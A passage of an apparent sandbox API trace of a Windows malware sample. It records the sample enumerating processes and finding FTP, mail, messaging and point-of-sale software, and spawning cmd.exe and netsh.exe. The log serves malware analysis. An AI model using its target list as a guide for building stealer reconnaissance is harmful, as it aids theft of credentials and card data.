dwFlags=0x0, szExeFile="bruceanalytical.exe")) returned 1 [0056.459] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="firefoxguess.exe")) returned 1 [0056.460] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="legally notified.exe")) returned 1 [0056.460] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="qualities.exe")) returned 1 [0056.461] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0056.462] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0056.462] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0056.463] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0056.464] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0056.464] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0056.465] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0056.465] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0056.466] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0056.467] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0056.467] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0056.468] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x31c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0056.469] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0056.469] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0056.470] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0056.471] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0056.472] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0056.473] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0056.474] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0056.475] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0056.476] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0056.477] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0056.478] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0056.479] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0056.636] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0056.637] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0056.638] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0056.639] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0056.640] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0056.641] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x924, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0056.642] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0056.643] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0056.643] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0056.644] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0056.645] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0056.646] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0056.647] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x994, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0056.648] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0056.649] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0056.650] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0056.650] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0056.651] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0056.652] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobile optimum looked.exe")) returned 1 [0056.653] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0056.654] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0056.655] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0056.655] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0056.656] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xbb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0056.657] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0056.658] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xbb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0056.658] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xbb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0056.659] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0056.660] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0056.660] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x15c, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0056.661] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x15c, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 0 [0056.662] CloseHandle (hObject=0x1cc) returned 1 [0056.662] Sleep (dwMilliseconds=0x1f4) [0058.900] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c0 [0058.903] Process32FirstW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0058.904] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0058.904] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0058.905] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0058.905] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0058.906] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0058.906] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0058.907] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0058.907] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0058.908] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0058.908] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.909] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.909] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.910] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.910] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2f, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.911] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0058.911] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.912] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.912] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0058.913] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0058.913] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0058.914] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.914] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0058.915] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0058.915] 